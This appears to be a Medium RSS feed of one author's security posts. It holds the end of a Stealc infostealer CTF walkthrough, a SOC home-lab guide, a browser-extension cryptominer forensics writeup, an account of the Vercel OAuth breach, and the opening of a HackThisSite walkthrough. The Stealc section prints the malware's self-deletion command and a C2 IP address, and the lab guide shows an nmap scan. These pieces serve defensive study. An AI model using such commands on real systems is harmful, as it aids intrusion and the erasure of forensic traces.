alt="" src="https://cdn-images-1.medium.com/max/1024/1*IEi7dYe6EmHezsfYFcekgg.png" /></figure><p>After completing its objective, Stealc goes into cleanup mode. Examining the child processes spawned during execution reveals cmd.exe being used to delete files — specifically:</p><ul><li>C:\Users\admin\AppData\Local\Temp\VPN.exe — the primary executable itself</li><li>C:\ProgramData\*.dll — all DLL files it dropped and loaded during execution</li></ul><p>The wildcard *.dll deletion from C:\ProgramData\ is particularly interesting. It means the malware loaded its supporting libraries there temporarily, used them to do its dirty work, and then wiped them to remove forensic artifacts.</p><p>For incident responders, knowing these paths means you should <strong>immediately image these directories</strong> before the malware gets a chance to clean up, or rely on volume shadow copies if the deletion has already occurred.</p><h4>Q7 — Understanding the malware’s behavior post-data exfiltration can give insights into its evasion techniques. By analyzing the child processes, after successfully exfiltrating the user’s data, <strong>how many seconds does</strong> it take for the malware to <strong>self-delete</strong>?</h4><p><strong>Answer: 5 seconds</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KELwO1DVJnnikIlDVv-iPg.png" /></figure><p>This is the finishing move. After exfiltrating the stolen data back to the C2 server, Stealc schedules its own deletion with a <strong>5-second delay</strong>.</p><p>Why 5 seconds? It’s just enough time to ensure the data exfiltration completes successfully before the binary wipes itself. Too short and the upload might not finish. Too long and an EDR might catch it.</p><p>The command pattern typically looks something like:</p><pre>cmd.exe /c timeout 5 &amp; del /f /q &quot;C:\path\to\malware.exe&quot;</pre><p>This self-deletion behavior maps to <strong>T1070.004 — File Deletion</strong> in the MITRE ATT&amp;CK framework, under the broader “Indicator Removal” tactic. The goal is simple: leave no trace, make forensic analysis harder, and reduce the window for detection.</p><h3>Putting It All Together</h3><p>Here’s the full attack flow in one clean timeline:</p><ol><li><strong>Delivery</strong> — Victim receives a malicious email with an attachment (disguised as a VPN or document file)</li><li><strong>Execution</strong> — The file runs and the malware initializes</li><li><strong>Library Loading</strong> — sqlite3.dll is loaded; browser credential databases are targeted</li><li><strong>Decryption</strong> — RC4 key decrypts hardcoded config strings to reveal C2 address</li><li><strong>C2 Contact</strong> — Malware connects to 171.22.28.221 to receive instructions</li><li><strong>Data Theft</strong> — Credentials harvested from browser password stores (T1555)</li><li><strong>Exfiltration</strong> — Stolen data posted to C2 PHP panel</li><li><strong>Cleanup</strong> — DLLs in C:\ProgramData\ deleted; executable self-deletes after 5 seconds</li></ol><h3>Key Takeaways</h3><ul><li><strong>Infostealers are fast.</strong> Stealc can complete its entire operation in under a minute.</li><li><strong>Self-deletion doesn’t mean the data is gone</strong> — it’s already been exfiltrated before cleanup begins.</li><li><strong>Browser-based password storage is a liability.</strong> T1555 is trivially easy to execute against browser credential stores.</li><li><strong>Sandbox analysis is essential.</strong> Tools like Any.Run surface RC4 keys, C2 IPs, and child process behavior that static analysis alone would miss.</li><li><strong>MITRE ATT&amp;CK is your friend.</strong> Mapping malware behavior to ATT&amp;CK techniques accelerates detection rule development and threat hunting.</li></ul><pre>| Tool | Purpose |<br>|------|---------|<br>| VirusTotal | File metadata, compilation timestamp, detection ratio |<br>| Any.Run | Dynamic sandbox analysis, network traffic, child processes, config extraction |<br>| MITRE ATT&amp;CK | Technique mapping and defensive guidance |</pre><p><em>If you found this walkthrough helpful, give it a clap and follow for more malware analysis, CTF writeups, and threat intelligence deep dives. Stay curious, stay safe.</em></p><p><strong>Tags:</strong> #Malware Analysis #Cybersecurity #Infosec #CTF #Threat Intelligence #MITRE ATT&amp;CK #Stealc #Infostealer</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70b8b731cac5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC Home Lab: A Practical Blue Team Learning Environment]]></title>
            <link>https://medium.com/@gentlerfact40/soc-home-lab-a-practical-blue-team-learning-environment-9dae6b20a598?source=rss-cecd8f1f1c5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/9dae6b20a598</guid>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Abhijeet Mahendrakar]]></dc:creator>
            <pubDate>Sat, 16 May 2026 17:34:57 GMT</pubDate>
            <atom:updated>2026-05-16T17:36:03.172Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*TqcHblg_78ClXciX.jpg" /></figure><h3>Introduction</h3><p>Cybersecurity is not only about theoretical knowledge but also about practical exposure to real-world attack and defense techniques. To strengthen my understanding of Security Operations Center (SOC) workflows, I built a personal SOC Home Lab using virtualized environments.</p><p>The purpose of this project was to simulate enterprise-style monitoring systems where attacks can be detected, analyzed, and investigated in a controlled environment. This lab allowed me to gain practical experience in threat detection, log analysis, network monitoring, and incident response.</p><h3>Why I Built This SOC Home Lab</h3><p>Most beginner cybersecurity learners focus heavily on theory, but SOC analysts require practical experience with monitoring tools, alerts, logs, and attack patterns.</p><p>This project helped me:</p><ul><li>Understand how attackers behave in networks</li><li>Learn SIEM-based monitoring</li><li>Practice incident investigation</li><li>Analyze malicious activity safely</li><li>Build hands-on blue team skills</li><li>Explore real SOC workflows</li></ul><h3>Lab Architecture Overview</h3><p>The SOC Home Lab was created using virtualization technology to simulate multiple systems communicating within an isolated network.</p><h3>Virtual Machines Used</h3><pre>| Machine       | Purpose          |<br>| ------------- | ---------------- |<br>| Ubuntu Server | ELK Stack Server |<br>| Windows 10    | Victim Machine   |<br>| Kali Linux    | Attacker Machine |</pre><h3>Technologies and Tools Used</h3><h3>1. Elasticsearch</h3><p><a href="https://en.wikipedia.org/wiki/Elasticsearch">Elasticsearch</a> was used to store and index logs collected from the Windows machine.</p><h3>Purpose</h3><ul><li>Log indexing</li><li>Fast searching</li><li>Data storage</li><li>Event correlation</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qN_vgwoN8K_JNtc45jtDkw.png" /><figcaption>Ubuntu terminal showing Elasticsearch running.</figcaption></figure><h3>2. Logstash</h3><p><a href="https://www.elastic.co/logstash">Logstash</a> was used to process and forward logs into Elasticsearch.</p><h3>Purpose</h3><ul><li>Log parsing</li><li>Data transformation</li><li>Log forwarding</li><li>Pipeline management</li></ul><h3>3. Kibana</h3><p><a href="https://www.elastic.co/kibana">Kibana</a> was used for visualization, searching, and security event investigation.</p><h3>Features Used</h3><ul><li>Dashboards</li><li>Alert monitoring</li><li>Security analytics</li><li>Log searching</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A1qmgY1ZdfSae7fx0U7mjw.png" /><figcaption>Kibana dashboard displaying failed login attempt logs.</figcaption></figure><h3>4. Sysmon</h3><p>Sysmon was installed on the Windows machine to generate detailed endpoint telemetry logs.</p><h3>Logs Captured</h3><ul><li>Process creation</li><li>Network connections</li><li>File modifications</li><li>Registry changes</li></ul><h3>5. Winlogbeat</h3><p>Winlogbeat was configured on Windows to forward logs to the ELK server.</p><h3>Purpose</h3><ul><li>Windows event log forwarding</li><li>SIEM integration</li><li>Centralized monitoring</li></ul><h3>Step-by-Step Lab Setup</h3><h3>Step 1 — Creating Virtual Machines</h3><p>I created three virtual machines using virtualization software.</p><h3>Machines Installed</h3><ul><li>Ubuntu Server</li><li>Windows 10</li><li>Kali Linux</li></ul><p>Each machine was connected through an internal virtual network for secure communication.</p><h3>Step 2 — Installing ELK Stack on Ubuntu</h3><p>The ELK Stack was installed on the Ubuntu Server machine.</p><h3>Components Installed</h3><ul><li>Elasticsearch</li><li>Logstash</li><li>Kibana</li></ul><p>Basic Installation Commands</p><pre>sudo apt update<br>sudo apt install elasticsearch<br>sudo apt install logstash<br>sudo apt install kibana</pre><h3>Step 3 — Configuring Kibana</h3><p>After installing Kibana, I accessed the dashboard through the browser and configured data visualization.</p><h3>Tasks Performed</h3><ul><li>Created index patterns</li><li>Connected Elasticsearch data</li><li>Viewed logs in Discover tab</li><li>Built dashboards</li></ul><h3>Step 4 — Installing Sysmon on Windows</h3><p>Sysmon was installed on the Windows machine to collect detailed system activity logs.</p><h3>Logs Monitored</h3><ul><li>Process executions</li><li>File activity</li><li>Network connections</li><li>PowerShell activity</li></ul><h3>Step 5 — Configuring Winlogbeat</h3><p>Winlogbeat was configured to forward Windows logs to the ELK server.</p><h3>Workflow</h3><pre>Windows Logs → Winlogbeat → Logstash → Elasticsearch → Kibana</pre><h3>Simulating Cyber Attacks</h3><p>After completing the setup, I simulated multiple attack scenarios using Kali Linux.</p><h3>1. Network Reconnaissance Using Nmap</h3><p>I performed network scans from Kali Linux to identify open ports and services running on the Windows machine.</p><h3>Command Used</h3><pre>nmap -sV &lt;target-ip&gt;</pre><h3>Detection</h3><p>The scan activity was visible in logs and network monitoring tools.</p><h3>Skills Learned</h3><ul><li>Reconnaissance detection</li><li>Traffic analysis</li><li>Suspicious scan identification</li></ul><h3>2. Brute-Force Login Simulation</h3><p>I simulated failed login attempts against the Windows machine.</p><h3>Detection Indicators</h3><ul><li>Multiple failed authentication events</li><li>Repeated login attempts</li><li>Suspicious account activity</li></ul><h3>Investigation</h3><p>Kibana dashboards were used to investigate authentication logs.</p><h3>3. Malware Activity Simulation</h3><p>Basic malware-like activities were executed in the isolated environment.</p><h3>Activities Monitored</h3><ul><li>Process creation</li><li>Registry modifications</li><li>Suspicious executable behavior</li><li>Network communication</li></ul><h3>Detection Sources</h3><ul><li>Sysmon logs</li><li>Kibana alerts</li><li>Windows event logs</li></ul><h3>Threat Hunting and Log Analysis</h3><p>One of the most valuable parts of the project was learning how to hunt threats manually using collected logs.</p><h3>Activities Performed</h3><ul><li>Searching Indicators of Compromise (IOCs)</li><li>Investigating suspicious IP addresses</li><li>Tracking malicious processes</li><li>Reviewing failed logins</li><li>Correlating events</li></ul><h3>Example Kibana Query</h3><pre>event.code:4625<br>This query searches for failed login attempts. </pre><h3>MITRE ATT&amp;CK Mapping</h3><p>I mapped attacker activities with the MITRE ATT&amp;CK framework to better understand attack techniques.</p><pre>| Attack Activity   | MITRE Technique |<br>| ----------------- | --------------- |<br>| Brute-force login | T1110           |<br>| Network scanning  | T1046           |<br>| Command execution | T1059           |</pre><h3>Skills Gained</h3><p>This project helped me gain practical experience in:</p><ul><li>SIEM Monitoring</li><li>ELK Stack Administration</li><li>Log Analysis</li><li>Threat Hunting</li><li>Incident Investigation</li><li>Network Monitoring</li><li>Endpoint Visibility</li><li>Attack Detection</li><li>Windows Event Analysis</li><li>SOC Workflows</li></ul><h3>Challenges Faced</h3><p>During the project, I faced several practical challenges:</p><ul><li>ELK service configuration issues</li><li>Winlogbeat connection failures</li><li>VM networking problems</li><li>Resource limitations</li><li>Log parsing errors</li></ul><p>Troubleshooting these problems improved my technical understanding and problem-solving skills.</p><h3>Future Improvements</h3><p>In the future, I plan to improve the lab by adding:</p><ul><li>Active Directory environment</li><li>Wazuh integration</li><li>Suricata IDS</li><li>Automated alerting</li><li>Threat intelligence feeds</li><li>SOAR workflows</li></ul><h3>Conclusion</h3><p>Building this SOC Home Lab gave me hands-on exposure to real-world cybersecurity monitoring and investigation techniques.</p><p>By using the ELK Stack, Windows logging, and Kali Linux attack simulations, I learned how SOC analysts detect threats, analyze logs, and investigate suspicious activity in enterprise environments.</p><p>This project significantly improved my understanding of SIEM tools, threat hunting, incident response, and blue team operations.</p><p>#CyberSecurity #SOC #ELKStack #Kibana #ThreatHunting #BlueTeam #SIEM #Sysmon #HomeLab</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9dae6b20a598" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Browser Forensics-Cryptominer Writeup]]></title>
            <link>https://medium.com/@gentlerfact40/browser-forensics-cryptominer-writeup-f4d55020a783?source=rss-cecd8f1f1c5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4d55020a783</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[browser-extension]]></category>
            <dc:creator><![CDATA[Abhijeet Mahendrakar]]></dc:creator>
            <pubDate>Wed, 22 Apr 2026 19:59:13 GMT</pubDate>
            <atom:updated>2026-04-22T19:59:13.248Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*TREme7t4OD3K75RW7rPbXQ.jpeg" /></figure><blockquote><strong>Browser forensics</strong> in the context of <strong>cryptominers</strong> focuses on detecting and analyzing malicious scripts that hijack a user’s web browser to mine cryptocurrencies without consent. These <strong>cryptominers</strong>, often delivered through compromised websites, malicious ads (malvertising), or injected JavaScript, exploit system resources like CPU and memory, leading to degraded performance and increased power consumption.</blockquote><p>This writeup is of Blue Team Labs Challenge called — <a href="https://blueteamlabs.online/home/challenge/browser-forensics-cryptominer-aa00f593cb"><strong>Browser Forensics -Cryptominer</strong></a></p><blockquote><strong>Scenario: </strong>Our SOC alerted that there is some traffic related to crypto mining from a PC that was just joined to the network. The incident response team acted immediately, observed that the traffic is originating from browser applications. After collecting all key browser data using FTK Imager, it is your job to use the ad1 file to investigate the crypto mining activity.</blockquote><p><strong>Stage 1 —</strong></p><p>Setup your lab with virtual machine or else you can use it in your local machine with the Digital-Forensic tool called — <a href="https://www.exterro.com/digital-forensics-software/ftk-imager"><strong>FTK Imager</strong></a></p><p><strong>Stage 2 —</strong></p><p>Download the file from here <a href="https://blueteamlabs.online/storage/files/TUJTWfM5uUCHWUHzC5cfEDVYZqw9tYSgS53jWRKc.zip"><strong>Browser Dump</strong></a> or from <a href="https://blueteamlabs.online/home/challenge/browser-forensics-cryptominer-aa00f593cb"><strong>BTLO</strong></a> and extract the zip file with the given password: <strong>btlo.</strong></p><p><strong>Stage 3 —</strong></p><p>Open the provided .ad1 file in <strong>FTK Imager</strong>.</p><p>Open the FTK Imager =&gt; Go to File =&gt; Add Evidence Item</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*DjbGqwjNS3H8xp8eMi35uw.png" /></figure><p>Select Image File =&gt; Enter the file path =&gt; Finish</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*1cWE3woEzSVgvG6mmXIePg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*6x2hPPw_9XEgJBtkFHYa6g.png" /></figure><p><strong>Stage 4 —</strong></p><p><strong>Challenge Submission</strong></p><p><strong>i) How many browser-profiles are present in Google Chrome?</strong></p><p>Expand the the directory upto User Data. There will be <strong>2</strong> profiles — <strong>Default, Profile 1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*jwzyZZmK6OVEhUtNwCpwUQ.png" /></figure><p><strong>ii) What is the name of the browser theme installed on Google Chrome?</strong></p><p>This data can be found in Extensions under the Default profile through digging some manifest.json files will hold the theme as — <strong>Earth in Space</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6SET5eChh0EG_xb_9BZF6Q.png" /></figure><p><strong>iii) Identify the Extension ID and Extension Name of the cryptominer.</strong></p><p>The cryptominer is itself an browser extension. It’s name in the manifest.json file and the Id is name of the folder it is in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*dVRv9h3ssRDkgKanYrZZUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZorPagBY5RNUd_LisZubhQ.png" /></figure><pre>egnfmleidkolminhjlkaomjefheafbbb, DFP Cryptocurrency Miner</pre><p><strong>iv) What is the description text of this extension?</strong></p><p>The description text is also found in the same manifest.json file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z4MT2xlu5TR-S38RrbeZBg.png" /></figure><p>For the next 3 questions, we will be looking at the actual <strong>JavaScript</strong> file in the same extension directory.</p><p><strong>v) What is the name of the specific javascript web miner used in the browser extension?</strong></p><p>it is found in the background.js file of the same extension directory as similar to previous question. — <strong>crypto loot</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*nb0M2y_OKQ-M1hC9NmDW8g.png" /></figure><p><strong>vi) How many hashes is the crypto miner calculating per second?</strong></p><p>Answer — <strong>20</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*1-BnRwjWIKzzu2KQhYjDfg.png" /></figure><p><strong>vii) What is the public key associated with this mining activity?</strong></p><p>Answer — <strong>b23efb4650150d5bc5b2de6f05267272cada06d985a0</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ISJjkW_7JwUppGIXXRtmXA.png" /></figure><p><strong>viii) What is the URL of the official Twitter page of the javascript web miner?</strong></p><p>In this question it requires just a LITTLE bit of research. you can do it on-your-own or you can check the answer here, just simply go ahead and follow the script source to crypto-loot’s main webpage. From there you will find a link to their Twitter at the bottom of their page.</p><p>Answer: <strong>twitter.com/CryptoLootMiner</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hZJS-9hZZnvJMCnTvZ1xAg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4d55020a783" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Ghost in 0Auth Machine]]></title>
            <link>https://medium.com/@gentlerfact40/the-ghost-in-0auth-machine-9ec3afc5bc4f?source=rss-cecd8f1f1c5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ec3afc5bc4f</guid>
            <category><![CDATA[vercel-breach]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[social-media]]></category>
            <category><![CDATA[shinyhunters]]></category>
            <category><![CDATA[auth0]]></category>
            <dc:creator><![CDATA[Abhijeet Mahendrakar]]></dc:creator>
            <pubDate>Tue, 21 Apr 2026 03:47:30 GMT</pubDate>
            <atom:updated>2026-04-21T04:02:20.392Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*lP9s2gaJ-z90u91xlyzTKw.avif" /></figure><p><em>How one employee’s AI productivity tool became the key that unlocked Vercel — and why the real villain in this story isn’t who you think it is.</em></p><h3>Act I — The Stage</h3><p>Picture this: you’ve spent three months building a web app. It’s beautiful, it’s fast, and it’s ready to ship. You push your code to GitHub, connect your repository to Vercel, and within sixty seconds your application is live, globally distributed, running on edge infrastructure in dozens of cities. No servers to configure. No Nginx to wrestle. No Docker containers to debug at 2 AM. Just… live.</p><p>This is the magic Vercel sells — and it has sold it remarkably well. Founded in 2015 by Guillermo Rauch, Vercel has become the deployment platform of choice for hundreds of thousands of developers worldwide. It is the company behind Next.js, the React framework so dominant it’s become practically synonymous with modern web development. Vercel powers the frontends of startups, Fortune 500 companies, and an enormous slice of the Web3 and crypto ecosystem — from Solana-based exchanges to decentralized finance dashboards.</p><p>Think of Vercel as the landlord of the modern internet’s front door. Which makes what happened over the weekend of April 19, 2026 particularly alarming.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*PBanZV26fOV6ilWm2iB07Q.png" /></figure><h3>Act II — The Crack in the Wall</h3><p>Every great heist starts not with a frontal assault, but with a quiet, almost boring entry point. A side door left ajar. In Vercel’s case, that door was a Chrome browser extension.</p><p>Somewhere inside Vercel’s offices, an employee discovered Context.ai — a small third-party AI tool marketed as an “AI Office Suite.” It was the kind of productivity tool that feels inevitable in 2026: it plugs into your Google Workspace, reads your emails and calendar, and promises to make you smarter and faster. The employee signed up. They connected their Vercel enterprise Google account. They clicked <em>“Allow All permissions.”</em></p><p>That click is the pivot point of this entire story.</p><p>According to cybersecurity firm Hudson Rock, a Context.ai employee had already been compromised by Lumma Stealer — a sophisticated infostealer malware — back in February 2026. The malware harvested Google Workspace credentials, Supabase keys, Datadog logins, and Authkit tokens. Among the stolen records was the support@context.ai account — the kind of administrative access that lets an attacker walk through security controls as though they own the place.</p><pre>⚠ The Attack&#39;s Root Cause<br>Context.ai disclosed a March 2026 incident in which unauthorized access to their <br>AWS environment occurred. What they didn&#39;t fully understand at the time was that <br>the attacker had also compromised OAuth tokens for consumer users of their <br>Chrome extension — including at least one Vercel employee whose enterprise <br>Google account was connected with broad, &quot;Allow All&quot; permissions.</pre><p>The attacker used that stolen OAuth token to silently take over the Vercel employee’s Google Workspace account. No phishing email. No suspicious login alert. Just a stolen token, presented to Google’s authentication servers like a perfectly valid key. And Google, dutifully, let them in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*MJdOizX49Bn5i_ljK48p0Q.png" /><figcaption>Attack Chain</figcaption></figure><h3>Act III — Inside the Breach</h3><p>With the Google Workspace account under their control, the attacker began enumerating Vercel’s internal environment. Vercel’s architecture has two categories of environment variables: those marked <em>sensitive</em> — encrypted at rest, unreadable even by Vercel’s own internal systems without the right decryption context — and those marked <em>non-sensitive</em>, which decrypt to plaintext for legitimate operational use.</p><p>The attacker went for the plaintext ones.</p><pre>The attacker got further access through their enumeration. <br> Unfortunately, that got further access through their enumeration.&quot; <br>— Guillermo Rauch, CEO of Vercel, via X</pre><p>This is where Vercel’s CEO, Guillermo Rauch, posted a notably candid admission on X: the “non-sensitive” designation, designed as a convenience feature, had effectively become a vulnerability. Environment variables hold the lifeblood of modern applications — API keys, database connection strings, signing tokens, third-party service credentials. Even those not explicitly marked sensitive can unlock extraordinary access to a customer’s production infrastructure.</p><p>A threat actor, posting under the <a href="https://en.wikipedia.org/wiki/ShinyHunters"><strong>ShinyHunters</strong></a> persona on BreachForums (though the real <a href="https://en.wikipedia.org/wiki/ShinyHunters"><strong>ShinyHunters</strong></a> gang has explicitly denied involvement), claimed to be selling the stolen data for <strong>$2 million</strong>. Their post included a text file with 580 Vercel employee records containing names, email addresses, account statuses, and timestamps. They also claimed to have Vercel source code and described what they harvested as the foundation for “the largest supply chain attack ever.”</p><p>That post has since been removed. The real ShinyHunters distanced themselves. But the threat actor also told Telegram contacts they were in active negotiations with Vercel over a ransom — a claim Vercel has not directly addressed.</p><pre>What was Exposed <br>Non-sensitive environment variables for a limited subset of customers - <br>including API keys, tokens, database credentials, and signing keys that <br>were stored in plaintext-readable form. Vercel has confirmed that environment <br>variables marked &quot;sensitive&quot; show no evidence of access. However, <br>the investigation is ongoing, and the company has stated it will <br>contact customers directly if further evidence of compromise emerges.</pre><h3>Act IV — The Response</h3><p>Vercel moved quickly once they detected the breach. They engaged incident response experts (including Google’s Mandiant team), notified law enforcement, and published a public security bulletin — a degree of transparency that is still, unfortunately, more exception than rule in the industry.</p><p>Critically, Vercel also worked with GitHub, Microsoft, npm, and Socket to <strong>verify that no npm packages published by Vercel were compromised.</strong> For a company that stewards Next.js — a framework downloaded tens of millions of times monthly — this was the most important line in the entire bulletin. The supply chain, at least the open-source one, remains intact.</p><p>They also published the OAuth App identifier of the malicious tool as an Indicator of Compromise (IoC), so that other Google Workspace administrators could check their own environments:</p><pre>110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com</pre><p>And they shipped new product features in direct response to the breach — a remarkable turnaround. Environment variable creation now defaults to “sensitive: on”, and there’s an improved dashboard for managing and auditing sensitive variables team-wide.</p><p>— — — — — — — — — — — CUSTOMER ACTION PLAN — — — — — — — — — —</p><h3>If you use Vercel — do this now</h3><p>! <strong>Rotate every environment variable immediately</strong> that was not explicitly marked “sensitive.” Treat them all as compromised until proven otherwise. This means API keys, database URLs, webhook secrets, and signing tokens.</p><p>! <strong>Do not just delete your Vercel project or account.</strong> Vercel explicitly warns that compromised secrets may still provide access to your production systems downstream. Rotate credentials first, then delete if needed.</p><p><strong>✓ Enable 2FA immediately</strong> on your Vercel account, if you haven’t already. Configure an authenticator app and consider creating a passkey.</p><p><strong>✓ Audit your Google Workspace OAuth grants.</strong> Go to your Google account’s connected apps page and revoke access for any AI tool you don’t actively use and deeply trust. Search specifically for the IoC app ID above.</p><p><strong>✓ Use Vercel’s new sensitive variable feature</strong> going forward. Every environment variable that holds a credential, key, or token should be marked sensitive by default — this is now the Vercel default, but audit your existing projects.</p><p><strong>✓ Check if your team used Context.ai</strong> or its Chrome extension with a Google Workspace enterprise account. If so, treat those accounts as potentially compromised and rotate all associated credentials.</p><blockquote><strong>THE VIBE CODE OF THIS ATTACK</strong></blockquote><blockquote><strong>This Wasn’t AI Replacing Anyone.<br>This Was AI Being Trusted Too Much.</strong></blockquote><blockquote>Here’s the part of the story that nobody in the breathless LinkedIn posts is saying plainly: <strong>this breach was not an AI attack</strong>. It wasn’t a rogue model. It wasn’t hallucinated credentials. It wasn’t some sci-fi scenario where artificial intelligence decided to breach Vercel on its own initiative.</blockquote><blockquote>It was something far more human — and far more mundane. <strong><em>An employee trusted a tool.</em></strong> They clicked “Allow All.” They wanted to be more productive. They wanted AI to help them move faster. And a threat actor, who had already done the hard work of compromising Context.ai’s AWS environment months earlier, was waiting patiently for exactly that moment.</blockquote><blockquote>The vibe code of this attack is the story of what happens when the culture of <strong><em>“ship fast, integrate everything, click Allow”</em></strong> meets the cold arithmetic of supply chain risk. We are living through an era where productivity tools proliferate faster than security teams can audit them. Where OAuth permission prompts are dismissed like cookie banners. Where “AI-native” has become a marketing phrase that bypasses the scrutiny we’d give any other third-party dependency.</blockquote><blockquote>The attacker was sophisticated, yes. Vercel’s CEO called them that explicitly. But their sophistication was not in breaking cryptography or exploiting zero-days. It was in understanding the human system: <strong><em>find a small, trusted AI tool, compromise it quietly, and wait for someone at a big target to install it and click Allow All.</em></strong></blockquote><blockquote>AI isn’t replacing the security engineer. It isn’t replacing the developer. What it is doing — and what this breach crystallises — is <strong>expanding the attack surface</strong> in ways that our permission models, our OAuth flows, and our “move fast” culture aren’t ready for. Every AI tool you install is a new OAuth grant. Every Chrome extension with Workspace access is a potential pivot point into your organisation’s most sensitive infrastructure.</blockquote><blockquote>The lesson of Vercel isn’t “don’t use AI tools.” The lesson is: <strong><em>audit them like you audit code.</em></strong> Treat an OAuth grant the same way you’d treat a new npm dependency. Ask who built it, where it stores your data, what happens if it gets breached, and — critically — what the minimum permissions it actually needs are.</blockquote><blockquote>Because the next threat actor reading this story is already looking for the next Context.ai. They’re not trying to out-think your firewall. They’re waiting for you to click Allow.</blockquote><h3>The Bigger Picture</h3><p>Vercel’s breach lands in a month that has already seen an extraordinary cascade of security incidents across the crypto and infrastructure world — from North Korea-linked actors draining Solana’s Drift protocol of hundreds of millions, to a string of smaller DeFi exploits hitting CoW Swap, Zerion, and Silo Finance in rapid succession. April 2026 is already being called one of the worst months for crypto exploits in recent memory.</p><p>But Vercel’s incident has a broader significance that goes beyond cryptocurrency. Vercel hosts the frontend infrastructure of a vast slice of the modern web. A successful supply chain attack against Vercel — had the attacker been more patient, or had more of the environment variables been accessible — could have affected not thousands but potentially millions of end users. The threat actor’s own boast about “the largest supply chain attack ever” was grandiose, but it wasn’t delusional.</p><p>What stopped it from being worse? Primarily: Vercel’s encrypted-at-rest architecture for sensitive variables, their defence-in-depth layering, and — perhaps most importantly — the fact that the attacker appears to have moved noisily enough to get detected before fully executing whatever larger plan they had.</p><p>This time.</p><p>The investigation continues. Vercel is working with Mandiant, law enforcement, and the broader security community. Context.ai is working to understand the full scope of how many of its users were affected. And the rest of us — every developer, every security team, every CTO who has an “Allow All” OAuth grant they’ve forgotten about — have some auditing to do.</p><blockquote><strong>Sources:</strong> Vercel Security Bulletin (vercel.com/kb), BleepingComputer, The Hacker News, Help Net Security, CoinDesk, TechRadar, Hudson Rock Research. · Published April 21, 2026.</blockquote><blockquote>If you found this article useful, audit your OAuth grants today. That’s the only share that matters.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ec3afc5bc4f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackThisSite Basic Levels 1–11 — Complete Walkthrough]]></title>
            <link>https://medium.com/@gentlerfact40/hackthissite-basic-levels-1-11-complete-walkthrough-189ad64bb69e?source=rss-cecd8f1f1c5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/189ad64bb69e</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hack-this-site]]></category>
            <category><![CDATA[web-security-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Abhijeet Mahendrakar]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 09:47:02 GMT</pubDate>
            <atom:updated>2026-03-25T09:47:02.459Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*JhRbIN6Mtt_5HjE9YUasMw.png" /></figure><p>If you’re starting your journey in <strong>web security / cybersecurity</strong>, <a href="https://www.hackthissite.org/"><strong>HackThisSite</strong></a> is one of the best platforms to practice real-world vulnerabilities.</p><p>In this write-up, I’ll walk you through <strong>Basic Levels 1 to 11</strong>, explaining not just the solution, but also the <strong>concept behind each vulnerability</strong>.</p><h3>🔰 Level 1 — View Source Vulnerability</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*7TZT2PwMh4uAU0aFnx_u2Q.png" /></figure><p><strong>Concept:</strong> Poorly hidden credentials in HTML</p><p>This level is designed to introduce beginners to a simple but important idea — <strong>never trust front-end secrecy</strong>.</p><h3>Approach:</h3><ul><li>Right-click → <strong>View Page Source</strong></li><li>Search for hidden values or comments</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*pHFDKAldIEadOgRmfOmbLQ.png" /></figure><h3>Solution:</h3><p>The password was directly visible in the source 